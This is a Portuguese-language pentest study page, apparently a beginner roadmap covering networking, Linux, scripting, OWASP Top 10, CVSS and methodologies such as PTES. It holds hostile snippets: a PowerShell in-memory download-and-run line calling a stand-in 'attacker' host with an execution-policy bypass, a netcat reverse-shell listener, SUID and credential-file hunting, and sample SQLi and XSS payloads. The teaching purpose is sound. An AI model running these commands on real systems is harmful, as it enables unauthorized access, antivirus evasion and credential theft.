// Penetration Testing — Phase Zero

Fundamentos
Obrigatórios

Esta fase não é opcional. Cada ferramenta ofensiva que você vai usar nas fases seguintes assume que você entende o que está por baixo. Aqui está o mapa do que precisa saber — com explicações reais, não só listas de tópicos.

REDES LINUX PYTHON BASH POWERSHELL OWASP CVE / CVSS
Pentest é, em grande parte, abuso de como redes funcionam. Sem entender o fluxo de comunicação entre dois hosts, você usa o Nmap como caixa-preta — e quando algo der errado (firewall filtrando, porta UDP, serviço em porta não-padrão), você trava. Aqui você aprende a pensar como a rede pensa.
Modelo OSI — Por que importa
Conceito-chave O modelo OSI divide a comunicação em 7 camadas. Em pentest, você vai ouvir termos como "ataque de camada 7" (aplicação — HTTP, XSS, SQLi) ou "camada 3" (rede — IP spoofing). Saber qual camada o ataque opera define qual ferramenta usar e qual defesa contornar.
7
Aplicação
O que o usuário vê. Onde vivem HTTP, HTTPS, FTP, SSH, SMTP, DNS. HTTPDNSFTPSMTP
6
Apresentação
Codificação, criptografia, compressão. TLS/SSL opera aqui. TLSSSL
5
Sessão
Gerencia sessões entre aplicações. Autenticação de sessão, NetBIOS. NetBIOS
4
Transporte
TCP (confiável, handshake) vs UDP (rápido, sem confirmação). Portas vivem aqui. TCPUDP
3
Rede
Endereçamento IP, roteamento entre redes. ICMP (ping) opera aqui. IPICMPOSPF
2
Enlace
Comunicação na mesma rede local. MAC addresses, ARP, switches. ARPMACEthernet
1
Física
Bits viajando em cabo, fibra, Wi-Fi. Físico mesmo.
TCP vs UDP — O que todo pentester precisa saber

TCP — Three-Way Handshake

Antes de qualquer dado trafegar, TCP estabelece uma conexão com 3 passos: SYN → SYN-ACK → ACK. Isso garante que os dois lados estão prontos. O Nmap usa esse handshake para detectar portas abertas. Um SYN sem resposta = porta fechada ou filtrada.

UDP — Fire and Forget

Sem handshake. Envia e pronto. Mais rápido, mas sem garantia de entrega. DNS, DHCP, SNMP usam UDP. Portas UDP abertas são difíceis de detectar — o Nmap tem que enviar payloads específicos de protocolo para confirmá-las.

Flags TCP que importam

SYN — inicia conexão
ACK — confirma recebimento
RST — reseta/rejeita conexão
FIN — encerra conexão
PSH — envia dados imediatamente

Nmap SYN scan envia apenas SYN, nunca completa o handshake — mais silencioso.

Portas Essenciais & Serviços
21
FTP
Transferência de arquivos. Login anônimo é vulnerabilidade clássica. Dados trafegam em texto claro.
22
SSH
Acesso remoto criptografado. Alvo de brute force. Banner revela versão do servidor.
23
Telnet
Como SSH mas texto claro. Obsoleto. Se estiver aberto, é vulnerabilidade imediata.
25
SMTP
Envio de email. User enumeration via VRFY/EXPN. Usado em phishing.
53
DNS (UDP/TCP)
Resolve nomes. Zone transfer mal-configurado expõe toda a infraestrutura.
80 / 443
HTTP / HTTPS
Web. A superfície de ataque mais comum. 443 = HTTP com TLS. Ambos são alvos.
139 / 445
SMB
Compartilhamento de arquivos Windows. EternalBlue (WannaCry) explorou port 445. Alto valor em AD.
3306
MySQL
Banco de dados. Nunca deveria estar exposto externamente. Credenciais fracas comuns.
3389
RDP
Remote Desktop Windows. Alvo de brute force e BlueKeep (CVE-2019-0708).
8080 / 8443
HTTP Alt
Tomcat, painéis de admin, APIs alternativas. Frequentemente esquecidos e desprotegidos.
DNS — O Alvo Favorito do Recon
Registro DNS

A (Address Record)

Mapeia um nome de domínio para um endereço IPv4. Quando você faz ping exemplo.com, o sistema consulta o registro A. Em recon, você coleta os IPs reais dos servidores para scanning posterior.

Registro DNS

MX (Mail Exchange)

Aponta para os servidores de email do domínio. Revela infraestrutura de email — útil para OSINT e phishing. Também pode expor serviços de terceiros (SendGrid, Google Workspace).

Registro DNS

TXT (Text Record)

Registro de texto livre. Contém SPF (quais IPs podem enviar email pelo domínio), DKIM e DMARC. Um SPF mal-configurado permite email spoofing.

Ataque DNS

Zone Transfer (AXFR)

Mecanismo legítimo para replicar zonas DNS entre servidores. Quando mal-configurado, permite que qualquer um obtenha todos os registros de um domínio — IPs internos, subdomínios, etc. Testar: dig AXFR @ns1.alvo.com alvo.com

Em recon: sempre tente zone transfer primeiro. Custa zero e pode entregar o mapa completo da infraestrutura.
Conceito

CNAME & Subdomain Takeover

CNAME aponta um domínio para outro. Se staging.empresa.com aponta via CNAME para um serviço cloud que foi deletado, um atacante pode registrar esse serviço e controlar o subdomínio da empresa.

Conceito

TTL (Time to Live)

Tempo em segundos que um registro DNS fica em cache. TTL baixo = mudanças propagam rápido. Em ataques de DNS cache poisoning, o TTL influencia a janela de oportunidade do atacante.

TLS/SSL — Criptografia que você vai analisar
Por que isso importa HTTPS não significa "seguro". Significa que o canal de comunicação está criptografado. A aplicação dentro pode ter SQL injection, XSS, IDOR — todos os ataques web existem em cima de HTTPS. Em pentest, você analisa configurações TLS para encontrar versões antigas (SSLv3, TLS 1.0), ciphers fracos, e certificados com SANs que revelam subdomínios internos.
terminal # Verificar configuração TLS de um servidor testssl.sh https://alvo.com # Com nmap — verificar versão e cipher suites nmap --script ssl-enum-ciphers -p 443 alvo.com # Certificado revela: Common Name (CN), SANs (subdomínios!), validade, CA openssl s_client -connect alvo.com:443 2>/dev/null | openssl x509 -noout -text
Subnetting & CIDR
Conceito

CIDR Notation

192.168.1.0/24 significa que os primeiros 24 bits são a parte de rede. Restam 8 bits para hosts = 256 endereços (254 utilizáveis). Em pentest, o escopo de um teste é definido em CIDR — você precisa saber qual range está autorizado a escanear.

/24 = 254 hosts  ·  /16 = 65.534 hosts  ·  /32 = 1 host único
Redes Privadas RFC 1918

Ranges Internos

Endereços não roteáveis na internet pública. Você os verá em redes internas durante pentests.

10.0.0.0/8 — 16M hosts (corporativas grandes)
172.16.0.0/12 — 1M hosts (médias)
192.168.0.0/16 — 65K hosts (domésticas, pequenas)

Aplicação Prática

Por que isso importa no Nmap

Quando recebe escopo 10.10.10.0/24, o Nmap escaneará 254 hosts. Entender CIDR evita escanear hosts fora do escopo (o que é crime) e ajuda a planejar o tempo necessário para o scan.

Nunca saia do escopo definido no contrato. Mesmo por erro técnico.
Kali Linux é o ambiente padrão de pentest. Noventa por cento das ferramentas que você vai usar rodam no terminal Linux. Mais do que isso: alvos Linux são comuns, e entender o sistema operacional é metade da escalada de privilégios.
Filesystem — Onde tudo está
DiretórioO que contémRelevância em Pentest
/etcArquivos de configuração do sistema/etc/passwd (usuários), /etc/shadow (hashes de senha), /etc/crontab (tarefas agendadas)
/homeDiretórios dos usuáriosChaves SSH em ~/.ssh/, histórico em ~/.bash_history, credenciais em dotfiles
/varDados variáveis (logs, emails, web)/var/log/ (logs de autenticação), /var/www/html (arquivos web)
/tmpTemporários (qualquer usuário pode escrever)Local padrão para dropar exploits e payloads — sempre com permissão de escrita
/procInformações dos processos em execução/proc/net/tcp (conexões ativas), /proc/self/environ (variáveis de ambiente do processo)
/usr/bin, /binBinários do sistemaBinários com SUID são alvo de privesc. find / -perm -4000 2>/dev/null
Permissões — O coração da escalada de privilégios
Conceito crítico Permissões Linux são a base de toda escalada de privilégios. Um arquivo com permissão errada pode ser a porta para root. Você precisa entender isso instintivamente.
permissões # -rwxr-xr-- 1 root www-data 4096 jan 01 script.sh # ─── ─── ─── # │ │ └── outros: r-- (só leitura) # │ └────── grupo: r-x (leitura + execução) # └────────── dono: rwx (leitura + escrita + execução) # SUID bit (s no lugar de x para o dono): executa como o dono do arquivo -rwsr-xr-x 1 root root /usr/bin/passwd # O passwd tem SUID de root → qualquer usuário o executa como root # Se outro binário tiver SUID indevido → escalada de privilégios # Encontrar todos os binários SUID (comando essencial em privesc) find / -perm -4000 -type f 2>/dev/null
Comandos Essenciais — O Mínimo Indispensável
Navegação

Movimento no Sistema

pwd — onde estou
ls -la — listar arquivos ocultos + permissões
find / -name "*.conf" 2>/dev/null — buscar arquivos
which python3 — onde está um binário

Texto & Parsing

Manipulação de Output

grep -r "password" /var/www/ — busca recursiva
cat file | grep "ERROR" | cut -d: -f2 — pipeline
awk '{print $1}' — extrair colunas
sort | uniq -c | sort -rn — frequência

Pipes ( | ) são essenciais: saída de um comando vira entrada do próximo.
Rede

Diagnóstico de Rede

ss -tulnp — portas em escuta (substituiu netstat)
ip a — interfaces e IPs (substituiu ifconfig)
ip route — tabela de rotas
curl -I https://alvo.com — headers HTTP
nc -lvnp 4444 — listener para reverse shell

Usuários

Enumeração Pós-Shell

whoami — usuário atual
id — UID, GID, grupos
sudo -l — o que posso executar como root
cat /etc/passwd — lista de usuários
last — últimos logins

sudo -l é o primeiro comando após comprometer um shell. Revela caminhos imediatos para root.
Processos

Monitoramento

ps aux — todos os processos rodando
ps aux | grep root — processos de root
top / htop — monitor em tempo real
crontab -l — tarefas agendadas do usuário
cat /etc/crontab — tarefas globais

Bash Scripting

Automação

Scripts automatizam recon repetitivo. Você vai escrever scripts para varrer ranges de IP, testar credenciais em lista, e parsear outputs do Nmap.

Se você está fazendo algo manualmente mais de 3 vezes → automatize com bash.
bash — ping sweep #!/bin/bash # Ping sweep simples em uma subnet /24 TARGET_NET="192.168.1" for i in $(seq 1 254); do ping -c 1 -W 1 ${TARGET_NET}.${i} &>/dev/null if [ $? -eq 0 ]; then echo "[+] Host UP: ${TARGET_NET}.${i}" fi done
Você já programa em Java — isso é uma vantagem enorme. A lógica de programação você já tem. O que falta é aprender os patterns específicos de pentest em Python, Bash e PowerShell. Foco: automação, sockets, manipulação de HTTP, e leitura de exploits de terceiros.
Python — A linguagem do pentester
Prioridade máxima Python é usado para: escrever exploits, automatizar recon, criar payloads customizados, fazer requests HTTP com controle total, e adaptar exploits do GitHub. A maioria dos PoCs de CVEs está em Python.
Biblioteca Python

requests — HTTP com controle total

Diferente do cURL, com requests você controla cada detalhe: headers customizados, cookies, payloads JSON/form, sessões, redirects. Essencial para web exploitation.

import requests # SQLi test manual payload = {"user": "admin'--", "pass": "x"} r = requests.post("http://alvo/login", data=payload) print(r.status_code, r.text[:200])
Biblioteca Python

socket — Comunicação de baixo nível

Para escrever port scanners, banner grabbers, e listeners. Mais próximo do metal que o requests. Base para entender como reverse shells funcionam.

import socket # Banner grabbing simples s = socket.socket() s.connect(("alvo.com", 22)) banner = s.recv(1024) print(banner.decode())
Padrão de Exploit

Lendo exploits do GitHub

A maioria dos exploits públicos segue um padrão: recebe IP/porta do alvo, monta um payload, envia via socket ou HTTP, e aguarda resposta. Você precisa conseguir ler e adaptar esses scripts — mudar IPs, portas, payloads.

Antes de rodar exploit de terceiro: leia o código completo. Pode ser malware disfarçado.
Biblioteca Python

subprocess — Automação de ferramentas

Para rodar ferramentas de linha de comando dentro de scripts Python. Ex: executar Nmap programaticamente, capturar output, parsear resultados XML.

import subprocess result = subprocess.run( ["nmap", "-sV", "alvo.com"], capture_output=True, text=True ) print(result.stdout)
PowerShell — Pós-exploração no Windows
Por que PowerShell Após comprometer um sistema Windows, você frequentemente tem acesso a um shell PowerShell — seja via Meterpreter, RCE, ou RDP. PowerShell tem acesso total ao sistema operacional, Active Directory, e APIs Windows.
PowerShell

Enumeração pós-comprometimento

whoami /all — usuário, grupos, privilégios
Get-LocalUser — usuários locais
Get-Process — processos rodando
Get-NetTCPConnection — conexões ativas
Get-ScheduledTask — tarefas agendadas
Get-Hotfix — patches instalados (para identificar CVEs)

PowerShell

Baixar & Executar na Memória

Técnica de fileless execution — carrega código diretamente na memória sem tocar o disco. Evita detecção por antivírus baseados em arquivo.

# Baixar e executar script na memória IEX (New-Object Net.WebClient).DownloadString('http://attacker/script.ps1') # Contornar execution policy powershell -ExecutionPolicy Bypass -File script.ps1
Este padrão é usado por PowerSploit, PowerUp, e outros frameworks de pós-exploração.
Estes são os fundamentos conceituais que definem a linguagem do campo. Você vai usar esses termos em relatórios, em conversas com clientes, e em certificações. Entendê-los profundamente diferencia quem sabe usar ferramentas de quem entende segurança.
CIA Triad — O tripé da segurança

Confidentiality
(Confidencialidade)

Dados só devem ser acessados por quem tem autorização. Ataques que violam: SQLi expondo banco, vazamento de credenciais, acesso a arquivo de outro usuário (IDOR). Em pentest, você demonstra que conseguiu acessar dados que não deveria.

Integrity
(Integridade)

Dados não devem ser alterados por não-autorizados. Ataques que violam: XSS stored que altera conteúdo, SQL UPDATE não-autorizado, man-in-the-middle alterando dados em trânsito. Você prova que conseguiu modificar dados do sistema.

Availability
(Disponibilidade)

O sistema deve estar disponível quando necessário. Ataques que violam: DoS/DDoS, ransomware, crash de serviço via exploit. Em pentest profissional, testes de DoS precisam de autorização explícita — podem derrubar produção.

CVE, CVSS e CWE — A linguagem das vulnerabilidades
Sistema de Referência

CVE — Common Vulnerabilities and Exposures

Identificador único para uma vulnerabilidade específica. Formato: CVE-ANO-NÚMERO. Ex: CVE-2021-44228 é o Log4Shell. Quando você encontra software desatualizado em recon, busca o CVE associado para saber se há exploit disponível.

Sempre busque: CVE + "exploit" + "PoC" no GitHub. Se existe PoC público, a barra de exploração é baixa.
Score de Severidade

CVSS — Common Vulnerability Scoring System

Score de 0 a 10 que mede a severidade. Considera: vetor de ataque (rede vs local), complexidade, privilégio necessário, interação do usuário, e impacto em CIA.

9.0–10.0 → Critical
7.0–8.9 → High
4.0–6.9 → Medium
0.1–3.9 → Low

Você usa CVSS para priorizar findings no relatório. Critical vai direto para o executive summary.
Tipo de Fraqueza

CWE — Common Weakness Enumeration

Classifica o tipo de fraqueza de código, diferente do CVE que identifica uma vulnerabilidade específica. Ex: CWE-89 = SQL Injection (a categoria), CVE-2023-XXXX = essa SQL injection específica no software Y versão Z. No relatório, você cita o CWE para explicar a causa raiz.

OWASP Top 10 — As 10 vulnerabilidades web mais críticas
Base de todo pentest web O OWASP Top 10 representa as categorias de vulnerabilidades mais prevalentes. Todo checklist de pentest web começa aqui. Você precisa saber explorar cada uma delas.
#CategoriaEm poucas palavrasExemplo prático
A01Broken Access ControlUsuário acessa recursos que não deveriaIDOR: mudar /perfil/123 para /perfil/124 e ver dados de outro usuário
A02Cryptographic FailuresDados sensíveis sem criptografia adequadaSenhas em MD5, HTTP sem TLS, chaves hardcoded no código
A03InjectionInput do usuário executado como códigoSQL: ' OR 1=1-- · XSS: <script>alert(1)</script> · Command injection
A04Insecure DesignFalhas de design arquitetural — não apenas códigoFalta de rate limiting, ausência de verificação de email, lógica de negócio quebrada
A05Security MisconfigurationConfigurações padrão inseguras, headers ausentesCORS aberto, server_tokens on, debug habilitado em produção, admin/admin
A06Vulnerable ComponentsDependências desatualizadas com CVEs públicosLog4Shell, Spring4Shell — frameworks populares com CVE crítico
A07Authn & Identity FailuresProblemas em autenticação e gerência de sessãoJWT sem assinatura, tokens previsíveis, sem 2FA, logout não invalida sessão
A08Software Integrity FailuresCódigo/dependências sem verificação de integridadeSupply chain attacks — pacotes npm maliciosos, CI/CD sem verificação
A09Security Logging FailuresAusência de logs ou monitoramento insuficienteLogins falhos sem alerta, ações críticas sem registro
A10SSRFServidor faz requisição para URL controlada pelo atacanteURL field que aceita http://169.254.169.254 → AWS metadata
Red / Blue / Purple Team

🔴 Red Team

Simula atacantes reais. Objetivo: comprometer a organização usando as mesmas técnicas, táticas e procedimentos (TTPs) que adversários usariam. Foco em ser furtivo, manter persistência, e atingir objetivos de negócio. Você quer trabalhar aqui.

🔵 Blue Team

Defende a organização. Monitora logs, responde a incidentes, configura SIEM, implementa controles. O BTL1 cobre esta área. Entender o Blue Team torna você um Red Teamer melhor — você sabe o que está sendo monitorado.

🟣 Purple Team

Red + Blue trabalhando juntos. Red ataca, Blue observa e melhora defesas em tempo real. Mais colaborativo que adversarial. Tendência crescente no mercado — empresas querem aprender, não só ser testadas.

Metodologias de Pentest
Metodologia

PTES — Penetration Testing Execution Standard

Define as 7 fases de um pentest profissional: Pre-engagement → Intelligence Gathering → Threat Modeling → Vulnerability Analysis → Exploitation → Post-Exploitation → Reporting. É o framework que você vai seguir em cada engajamento. Relatórios baseados em PTES são aceitos universalmente.

Seu roadmap completo segue exatamente o fluxo do PTES.
Guia

OWASP Testing Guide (OTG)

Guia detalhado para teste de aplicações web. Cobre cada categoria do Top 10 com técnicas específicas, payloads de teste, e como documentar o finding. Referência que você vai consultar durante web pentests.

Framework

MITRE ATT&CK

Base de conhecimento de TTPs de adversários reais. Cada técnica tem um ID (ex: T1566 = Phishing). Em relatórios avançados, você mapeia seus findings ao ATT&CK para mostrar quais técnicas reais seriam usadas por um atacante.

Princípio

Princípio do Menor Privilégio

Cada usuário/processo deve ter apenas as permissões mínimas necessárias para sua função. Violações deste princípio são a fonte da maioria das escaladas de privilégio. Em pentest: você procura onde esse princípio foi violado.

Marque conforme for avançando. O progresso fica salvo no navegador.
Redes
Explico o modelo OSI sem consultarSei o que acontece em cada camada e exemplos de protocolos
Sei descrever o TCP three-way handshakeSYN, SYN-ACK, ACK — e o que cada flag significa
Memorizo as principais portas (21, 22, 25, 53, 80, 139, 443, 445, 3389)Sei o serviço e o risco de cada uma
Consigo calcular subnets mentalmente/24 = 254 hosts, /16 = 65K, /8 = 16M
Capturei e analisei pacotes com WiresharkFiltros básicos: http, tcp.port==80, ip.addr==x
Testei zone transfer DNS com dig AXFREntendo o que o resultado revela
Analisei um certificado TLS com openssl s_clientSei ler CN, SANs, validade
Linux
Navego o filesystem Linux sem hesitarSei onde ficam /etc, /var, /tmp, /home, /proc
Leio permissões (rwxr-xr--) corretamenteSei o que SUID (s) significa e como explorar
Uso grep, awk, sed e pipes fluentementeConsigo parsear qualquer output de ferramenta
Escrevi ao menos um script bash funcionalEx: ping sweep, loop de wordlist, automação de recon
Uso ss, ip a, ip route para diagnósticoNão dependo mais de netstat/ifconfig
Sei usar nc (netcat) para listeners e port testingnc -lvnp 4444 para aguardar reverse shell
Programação
Fiz requisições HTTP com Python requestsGET, POST, headers customizados, cookies, sessões
Escrevi um port scanner simples com socketVarreu uma subnet e imprimiu portas abertas
Li e adaptei um PoC de exploit do GitHubMudei IPs e entendi o que o código faz
Executei comandos PowerShell de enumeração básicawhoami /all, Get-Process, Get-LocalUser
Conceitos
Explico CIA Triad com exemplos de ataques para cada pilar
Sei ler um CVSS score e entendo o que cada componente significaVetor de ataque, complexidade, privilégio, impacto
Conheço as 10 categorias OWASP e um exemplo de cada
Explico a diferença entre Red, Blue e Purple Team
Conheço as 7 fases do PTES
Obtive a certificação eJPT — meta final da Fase 0